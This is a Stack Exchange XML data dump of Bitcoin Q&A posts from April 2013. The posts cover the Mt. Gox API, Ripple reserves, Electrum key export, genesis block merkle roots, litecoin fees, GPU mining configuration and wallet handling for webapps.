  <row Id="9739" PostTypeId="1" CreationDate="2013-04-14T02:10:10.550" Score="4" ViewCount="169" Body="&lt;p&gt;I am trying to place a new order using Mt. Gox's &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v1#Submit_an_order&quot; rel=&quot;nofollow&quot;&gt;submit an order&lt;/a&gt; API call. However I keep on getting the error object &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ result: 'error', error: 'Bad API call' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm fairly certain I'm doing everything right, except I suppose the order Id which is referred to as BTCUSD in the documentation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://data.mtgox.com/api/1/BTCUSD/private/order/add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives no other explanation on what this field is, and I have found other projects calling it ID, so I'm using the node-uuid &lt;code&gt;v1()&lt;/code&gt; method to generate a unique ID for the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is the URL I create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/api/1/36c1f990-a4a4-11e2-84fd-a100a9f27dd2/private/order/add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the object I send with it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ type: 'ask', amount_int: '100000.000', price_int: '20000000' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4171" LastEditDate="2013-07-17T11:11:58.427" LastActivityDate="2013-07-17T11:11:58.427" Title="What goes in the id/BTCUSD field for Mt. Gox &quot;submit an order&quot; API call?" Tags="|mtgox|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9740" PostTypeId="1" AcceptedAnswerId="9743" CreationDate="2013-04-14T02:38:21.783" Score="3" ViewCount="1031" Body="&lt;p&gt;I'm using the MtGox ticker API (from &lt;a href=&quot;https://bitbucket.org/nitrous/mtgox-api/overview#markdown-header-moneytickerhttps://bitbucket.org/nitrous/mtgox-api/overview#markdown-header-moneyticker&quot; rel=&quot;nofollow&quot;&gt;MtGox API V2&lt;/a&gt;) and I want to know the update interval. I think it is less than 3 minutes, but is it possible to know exactly? It is important to me because I'm developing an Android app that shows the current price to the user in notification bar.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="196" LastEditDate="2013-04-14T09:26:26.217" LastActivityDate="2014-01-04T21:13:08.267" Title="What is the refresh interval of MtGox ticker API?" Tags="|mtgox|api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9741" PostTypeId="2" ParentId="9731" CreationDate="2013-04-14T03:09:03.897" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Your current account is low. You must keep a minimum of 250 XRP to use all the features of Ripple.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That is a warning shown whenever your XRP balance is less than twice the current reserve requirements. The number in the warning will also change as you add/remove trust/credit lines or add/fill/cancel trade offers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of XRP required to in &lt;a href=&quot;https://ripple.com/wiki/Reserves&quot; rel=&quot;nofollow&quot;&gt;reserves are listed on the Ripple wiki&lt;/a&gt;. Basically, the 250 you see is 200 for your account plus 50 for your trust/credit line to Bitstamp (that you added to get Bitstamp-BTC into your Ripple account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a trade offer requires an additional 50 XRP (which is just a reserve, it becomes un-reserved when the offer is filled or cancelled). Since you had only 299.9999 XRP (not 299 as you said) Ripple was unable to create a new trade offer as the new reserve limit would have been 300. Yes, the error message is not as clear as it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whoever sent you your initial 300 XRP really should have sent 300.1 or 350.1 (or more). Although it is possible to get more XRP from BTC on a new Ripple account with only 250.0001 XRP, it's requires careful management of the limited XRP that shouldn't be expected of a new user. It's really best to start a new account with at least 350.1 or more XRP.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-04-14T03:09:03.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9742" PostTypeId="2" ParentId="9692" CreationDate="2013-04-14T03:10:17.220" Score="1" Body="&lt;p&gt;Your private information is never shared with the servers and your private keys can always be generated offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help doing so, use the #electrum irc channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions App:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start Electrum&lt;/li&gt;&#xA;&lt;li&gt;Select restore&lt;/li&gt;&#xA;&lt;li&gt;Enter your seed&lt;/li&gt;&#xA;&lt;li&gt;Select 'Cancel' in the server selection&lt;/li&gt;&#xA;&lt;li&gt;Enter a password to encrypt your wallet&lt;/li&gt;&#xA;&lt;li&gt;Go to settings &gt; Import/Export tab &gt; Private keys: Export&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2013-04-14T03:23:41.597" LastActivityDate="2013-04-14T03:23:41.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9743" PostTypeId="2" ParentId="9740" CreationDate="2013-04-14T03:20:56.067" Score="7" Body="&lt;p&gt;if you want fast http ticker use the new fast_ticker : &#xA;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1c9npl/mtgox_fast_ticker_last_only_no_rate_limit_1second/&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1c9npl/mtgox_fast_ticker_last_only_no_rate_limit_1second/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&quot;&gt;http://data.mtgox.com/api/2/BTCUSD/money/ticker_fast&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you will get 1 second only cached minimalist ticker ( last )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you need more ( low, high, volume ) you have the normal ticker, most probably cached 30 seconds :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://data.mtgox.com/api/1/BTCUSD/ticker&quot;&gt;http://data.mtgox.com/api/1/BTCUSD/ticker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the new data.mtgox.com is behind cloudflare now and the only ratelimits you will hit will now be cloudflare anti dos limits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;old api urls not using data.mtgox are now deprecated and not guaranteed to work&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-04-14T03:20:56.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9744" PostTypeId="1" CreationDate="2013-04-14T03:53:07.437" Score="-2" ViewCount="442" Body="&lt;p&gt;I am new to the bitcoin world and I'm fascinated by its principles. I have found a great description of how the mining works in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/922/4361&quot;&gt;this answer&lt;/a&gt;. Now, I see that a great deal of it is based on network-self input caps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what prevents a user from not following those and generating more blocks than established? Wouldn't, in such a case, the attacker only need a great amount of wallets and transactions so that his mined bitcoins become &quot;factual&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to correct me if any of my assumptions is wrong.&lt;/p&gt;&#xA;" OwnerUserId="4361" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-03-16T09:47:02.160" Title="What prevents a user from finding all bitcoins and claim them?" Tags="|security|protocol|network|mining-theory|consensus|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-16T17:43:56.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="9745" PostTypeId="2" ParentId="9744" CreationDate="2013-04-14T04:31:38.720" Score="3" Body="&lt;p&gt;There are probably many misconceptions you have that aren't articulated here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that enforces the limitation of 21 million is that everyone uses the same software that enforces the same rules.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that software were to be modified to accommodate new rules,  everyone would have to upgrade to alter those rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a majority of people on the network own bitcoins will see this action as lessening the value of their coins, they will not upgrade to the version you imagine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go ahead and implement your idea in some software, then only those clients that use that software will see those coins and will allow them to be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the network will just reject your money as forgery .&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-04-14T04:31:38.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9746" PostTypeId="1" CreationDate="2013-04-14T06:52:02.087" Score="2" ViewCount="4448" Body="&lt;p&gt;I wanted to help out the community and create a pure C application independent of the reference client, that given a timestamp and a public key, will produce a merkle root for creation of a genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My knowledge of C++ is very little to none. After looking at the source code, this is the relevant code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    const char* pszTimestamp = &quot;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&quot;;&#xA;    CTransaction txNew;&#xA;    txNew.vin.resize(1);&#xA;    txNew.vout.resize(1);&#xA;    txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CBigNum(4) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));&#xA;    txNew.vout[0].nValue = 50 * COIN;&#xA;    txNew.vout[0].scriptPubKey = CScript() &amp;lt;&amp;lt; ParseHex(&quot;04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f&quot;) &amp;lt;&amp;lt; OP_CHECKSIG;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which produces this merkle hash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure whether CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CBigNum(4) &amp;lt;&amp;lt;... is bitshifting all of this, or simply writing it out to .scriptSig.&#xA;And I am going to assume that CScript() is the constructor that initializes .scriptSig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I delved into the source code and following what BuildMerkleTree calls I ended up in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;&#xA;uint256 SerializeHash(const T&amp;amp; obj, int nType=SER_GETHASH, int     nVersion=PROTOCOL_VERSION)&#xA;{&#xA;    CHashWriter ss(nType, nVersion);&#xA;    ss &amp;lt;&amp;lt; obj;&#xA;    return ss.GetHash();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I started following ChashWriter, and ended up in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;&#xA;CHashWriter&amp;amp; operator&amp;lt;&amp;lt;(const T&amp;amp; obj) {&#xA;    // Serialize to this stream&#xA;    ::Serialize(*this, obj, nType, nVersion);&#xA;    return (*this);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I got lost there. But the closest I got was double SHA256-ing this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73 5000000000 04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f OP_CHECKSIG after supposedly converting to a byte array.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I was obviously wrong about it, as the result was not correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, Bitcoin uses something known as Serialization to serialize the object's variables, perhaps concatenate them, but unfortunately due to my inexperience with C++ I could not understand which variables, in what order and so on. Basically, the Bitcoin source code was more complex than I had imagined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how I may produce a merkle hash for a genesis block, without using serialization and in C?&lt;/p&gt;&#xA;" OwnerUserId="4352" LastEditorUserId="4352" LastEditDate="2013-04-14T07:00:26.170" LastActivityDate="2013-04-14T10:34:48.597" Title="How do I compute merkle root for genesis block?" Tags="|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9747" PostTypeId="1" CreationDate="2013-04-14T08:30:57.950" Score="1" ViewCount="912" Body="&lt;p&gt;I'm new to lite coin, and have been mining a bit over the last week. So far I've accumulated just under 5 LTC. When trying to move my LTC elsewhere, I'm asked for a 1.1LTC fee. That seems ridiculously high! Why is this the case? and is there anyway around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the litecoin-qt client and have optinal transaction fees set to 0&lt;/p&gt;&#xA;" OwnerUserId="4367" LastActivityDate="2013-04-14T08:30:57.950" Title="1.1LTC transaction fee when trying to send ~4.98 LTC?" Tags="|litecoin|" AnswerCount="0" CommentCount="6" ClosedDate="2019-07-17T17:34:54.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="9749" PostTypeId="2" ParentId="9746" CreationDate="2013-04-14T10:34:48.597" Score="3" Body="&lt;p&gt;Instead of looking at the source code, take a look at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow&quot;&gt;relevant wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blockexplorer.com/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; rel=&quot;nofollow&quot;&gt;blockexplorer&lt;/a&gt; will reveal, &lt;strong&gt;the merkle root of the genesis block is equal to the hash of the transaction in it&lt;/strong&gt;. This is because building a hash tree of one transaction will simply result in that one transaction, and the hash of that tree will be the same as the hash of that one transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When dealing with more transactions, simply put them in a tree and hash them from bottom to top, as the wiki page mentions.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-14T10:34:48.597" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9750" PostTypeId="1" CreationDate="2013-04-14T11:16:46.567" Score="5" ViewCount="458" Body="&lt;p&gt;There's the &lt;code&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Sweepprivkey_proposal&quot; rel=&quot;nofollow noreferrer&quot;&gt;sweepprivkey&lt;/a&gt;&lt;/code&gt; proposal from 2011 which was not accepted, that would have allowed one to instruct her bitcoind client to listen to transactions and sweep funds whenever they are transferred from one address to another.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1495/is-there-a-way-to-automatically-send-bitcoins-from-one-wallet-to-another&quot;&gt;question&lt;/a&gt;, &quot;Is there a way to automatically send bitcoins from one wallet to another?&quot;, but it does not specifically ask about a service that would do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering whether someone developed, or is considering the development, of such a service. &#xA;There would be security implications, as the service would have to know the private key of the address to sweep - is there any secure way to implement this otherwise?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-04-29T06:30:17.687" Title="Is there a service that automatically &quot;sweeps&quot; funds to another address whenever they are sent?" Tags="|transactions|private-key|services|merchant-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9751" PostTypeId="1" AcceptedAnswerId="9752" CreationDate="2013-04-14T11:21:26.370" Score="8" ViewCount="4579" Body="&lt;p&gt;I've only seen &quot;receive&quot;, &quot;send&quot;, and &quot;immature&quot;. Are there other categories that I'm missing? And what do they mean? It seems that &quot;receive&quot; means a transaction that gave our account coins, and &quot;send&quot; means we gave someone else coins.&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-01-11T02:16:41.287" Title="What are the categories of a transaction, and what do they mean?" Tags="|transactions|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9752" PostTypeId="2" ParentId="9751" CreationDate="2013-04-14T12:40:26.803" Score="5" Body="&lt;p&gt;What you are seeing is not an inherent property of a transaction but how the transaction looks to you at the current time and how your Bitcoin client wants to display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction contains inputs and outputs; if the transaction is considered a &quot;send&quot; or &quot;receive&quot; (or &quot;transfer&quot;) depends on which of the input and output addresses are in your wallet and considered to be owned by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &quot;unconfirmed&quot; transaction is one which is recent enough to not be considered a canonical part of the block chain.  Once enough blocks have been added to the block chain after the one in which your transaction is recorded it will be considered confirmed.  The number of blocks depends on your Bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &quot;immature&quot; transaction is a generation transaction which is not old enough to be made available for spending.  Under the current specification a generation transaction must have at least 100 confirmations before it can be spent.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastEditorUserId="3187" LastEditDate="2013-04-14T17:41:15.600" LastActivityDate="2013-04-14T17:41:15.600" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9753" PostTypeId="1" AcceptedAnswerId="10410" CreationDate="2013-04-14T13:32:27.820" Score="3" ViewCount="2713" Body="&lt;p&gt;I have tons of CPU and a reasonably good GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I used the CPU to mine namecoin and the GPU to mine litecoin? Or perhaps some other combination? Or what?&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-03-31T10:30:02.287" LastActivityDate="2016-03-31T10:30:02.287" Title="What's the alternative to bitcoins that can be profitably mined by beginner?" Tags="|alternatives|mining-profitability|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9754" PostTypeId="1" AcceptedAnswerId="9759" CreationDate="2013-04-14T13:56:02.380" Score="4" ViewCount="255" Body="&lt;p&gt;There is a ton of bitcoin information, but it's hard to find up to date best practices for making webapps. I am very comfortable making secure webapps, and I'd like to start some bitcoin related webapps, and using a merchant solution like bitpay is not an option. Could someone steer me towards the right keywords and concepts to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When starting a bitcoin webapp, where each account can send and receive bitcoin, what are the best practices around bitcoin transactions? How are bitcoin transactions around accounts handled for online exchanges? Should each account be set up as a separate wallet? Or is it safe enough to give each account an address and record a balance and transaction history tied to each account? Is it necessary to use bitcoind or are there other methods for making transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kinds of security/safeguards should all bitcoin webapps have (i.e. is it necessary to have cold storage?, two factor auth, etc)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I'd like to originate and also receive bitcoin payments. I want to make it easier for people to get started if they have friends that already have bitcoin. So a bitcoin holder can set up an account. Then s/he can email bitcoin to the friend via the app. The app then emails the friend the transaction details if they already have an account; otherwise it will sends an invitation to create an account along with some intro to bitcoin articles. Paying a X% processing fee doesn't make sense in this case where I expect most transactions to be small.&lt;/p&gt;&#xA;" OwnerUserId="4368" LastEditorUserId="196" LastEditDate="2013-04-14T15:30:44.087" LastActivityDate="2013-04-14T15:30:44.087" Title="How should webapps handle addresses/wallets?" Tags="|transactions|security|websites|bitcoin-core-accounts|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9755" PostTypeId="1" CreationDate="2013-04-14T14:15:26.757" Score="1" ViewCount="237" Body="&lt;p&gt;I've tried unsuccessfully 2 times to download the application from this site &lt;a href=&quot;https://www.weusecoins.com/en/getting-started&quot; rel=&quot;nofollow&quot;&gt;https://www.weusecoins.com/en/getting-started&lt;/a&gt;. Last failure stopped at around 16,000 blocks. I am trying to get setup with a wallet and begin buying BTC's. I do not want to use an online wallet service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other applications that I had open during the download was Firefox and I use AVG Free Antivirus, but do not know how to disable it. I have restarted the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="4369" LastEditorUserId="2306" LastEditDate="2013-04-14T16:47:19.760" LastActivityDate="2014-02-09T16:21:54.520" Title="Repeated error synchronizing Bitcoin client" Tags="|blockchain|synchronization|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9756" PostTypeId="1" CreationDate="2013-04-14T14:33:37.493" Score="3" ViewCount="6424" Body="&lt;p&gt;I have just started GPU mining on my Nvida 560 (Not good cards for mining).&#xA;Heres the stats I'm getting, not sure If I have configured the settings correctly as my GPU temp is only 27C, is this right? I know Nvidia cards aren't that good for mining but should the temp be this low?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l8Zze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reaper.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kernel reaper.cl&#xA;save_binaries yes&#xA;enable_graceful_shutdown no&#xA;long_polling yes&#xA;&#xA;&#xA;mine litecoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Litecoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;host notroll.in&#xA;port 6332&#xA;user *****&#xA;pass *****&#xA;&#xA;&#xA;protocol litecoin&#xA;&#xA;worksize 256&#xA;aggression max&#xA;threads_per_gpu 1&#xA;sharethreads 18&#xA;lookup_gap 2&#xA;gpu_thread_concurrency 6144&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4342" LastEditorUserId="5406" LastEditDate="2016-04-17T20:26:08.163" LastActivityDate="2016-04-17T20:26:08.163" Title="Litecoin Reaper GPU config" Tags="|litecoin|miner-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9757" PostTypeId="1" CreationDate="2013-04-14T15:07:57.830" Score="1" ViewCount="37" Body="&lt;p&gt;I got bitcoin I got litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, where can I download namecoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Namecoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet client that can do many coins at the same time would be nice&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="196" LastEditDate="2013-04-14T15:33:53.567" LastActivityDate="2013-04-14T15:33:53.567" Title="Where can I download namecoin client?" Tags="|client|namecoin|" AnswerCount="0" CommentCount="1" ClosedDate="2013-04-18T08:09:27.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="9759" PostTypeId="2" ParentId="9754" CreationDate="2013-04-14T15:30:32.633" Score="1" Body="&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; has a feature named &quot;accounts&quot; which does exactly that: handles the balance in separate accounts, which you can map to your users. It automatically generates new addresses for the accounts, can move coins between accounts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you must take great care into keeping it as secure as possible.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-14T15:30:32.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9760" PostTypeId="1" CreationDate="2013-04-14T15:38:49.470" Score="3" ViewCount="63086" Body="&lt;p&gt;I had to update the software on my computer and had to delete everything on my computer. I wasn't aware that my Bitcoin wallet was like a physical wallet. I thought I'd be able to download the wallet and enter my address into it and get everything back. I don't know what to do. I'm freaking out and don't know how and if I can get my Bitcoin wallet back. I know the address of my wallet but I don't have any of the files on my computer.&lt;/p&gt;&#xA;" OwnerUserId="4370" LastEditorUserId="5406" LastEditDate="2014-06-17T21:24:09.140" LastActivityDate="2014-06-17T21:24:09.140" Title="How can I find my bitcoin wallet?" Tags="|lost-wallet|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-16T17:45:08.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="9761" PostTypeId="2" ParentId="9716" CreationDate="2013-04-14T15:52:55.090" Score="6" Body="&lt;p&gt;I hope so. I'm going to look pretty stupid if it isn't actually anonymous. The paper contains a sketch of a proof that the system is in fact anonymous. That is verifiable. Indeed to get published, other academics had to look at it. Now that the paper is public, even more will. If there is a problem with the proof, someone will point it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have said, the main question is efficiency and that is probably fixable with further research and engineering. &lt;/p&gt;&#xA;" OwnerUserId="1558" LastEditorUserId="1558" LastEditDate="2013-04-14T17:16:48.000" LastActivityDate="2013-04-14T17:16:48.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9762" PostTypeId="1" CreationDate="2013-04-14T16:30:33.163" Score="1" ViewCount="207" Body="&lt;p&gt;How to export an encrypted non-seedless electrum wallet into bitcoin-qt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2024-01-19T22:02:35.310" Title="How to export an encrypted non-seedless electrum wallet into bitcoin-qt?" Tags="|wallet|bitcoin-core|electrum|seed|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9763" PostTypeId="1" CreationDate="2013-04-14T17:44:25.973" Score="0" ViewCount="2109" Body="&lt;p&gt;The next months will finally see ASIC miners come into play, which will increase the global network hashrate by an amount never seen before. Of course, mining difficulty will then increase accordingly, but there will be a (how small?) timeframe where those new devices will be generating lots and lots of new coins. Then, as difficulty increases, mining new bitcoins will become increasingly harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this going to affect bitcoin prices (apart from market speculation which has been quite wild lately)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that prices will drop when ASIC devices start mining, and then they will steadily rise because mining botcoins will never be so easy anymore. But then, of course, I'm not the only one guessing this... thus, lots of people will probably think &quot;now it's a good time to buy bitcoins&quot; and this will keep the prices high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about this?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2016-04-10T10:19:31.327" LastActivityDate="2016-04-10T10:19:31.327" Title="What will bitcoin prices do in the next months as ASIC miners become more widespread?" Tags="|exchange-rate|asic|value|money-supply|market|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-17T07:49:28.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="9764" PostTypeId="2" ParentId="9763" CreationDate="2013-04-14T18:08:17.067" Score="1" Body="&lt;p&gt;Difficulty adjusts every 2016 blocks, which is meant to average out to about 2 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you look at MtGox's average trading volume over the past few weeks it has been somewhere between 50K and 100K.  If difficulty remains constant you would expect there to be about 3,600 bitcoins minted per day, or 3-7% of average daily volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also bear in mind that the bitcoins which are minted will be scattered across all the people in all the mining pools that are generating them, so without some concerted action you are very unlikely to see that many coins hitting the market at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that the reality is that the ramp-up of the ASIC manufacturers is such that we're unlikely to see some sort of cliff, either in bitcoin generation rates or in resultant prices.  The only way in which I could see the generation rates being tweaked is if someone built a &lt;em&gt;very&lt;/em&gt; powerful ASIC farm and turned it on and off to bring the difficulty up and down at advantageous times.  But then I'd imagine that the developers would step in to tweak the difficulty calculation process to avoid such gaming of the system.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-04-14T18:08:17.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9765" PostTypeId="1" AcceptedAnswerId="9770" CreationDate="2013-04-14T18:10:36.353" Score="5" ViewCount="1093" Body="&lt;p&gt;I've successfully done .01 of a bitcoin for both bid and ask, but I'm wondering if someone knows the real limit? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant seem to find it in their documentation. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-04-14T19:15:57.783" Title="What is the smallest possible size of a bid/ask on Mt.Gox?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
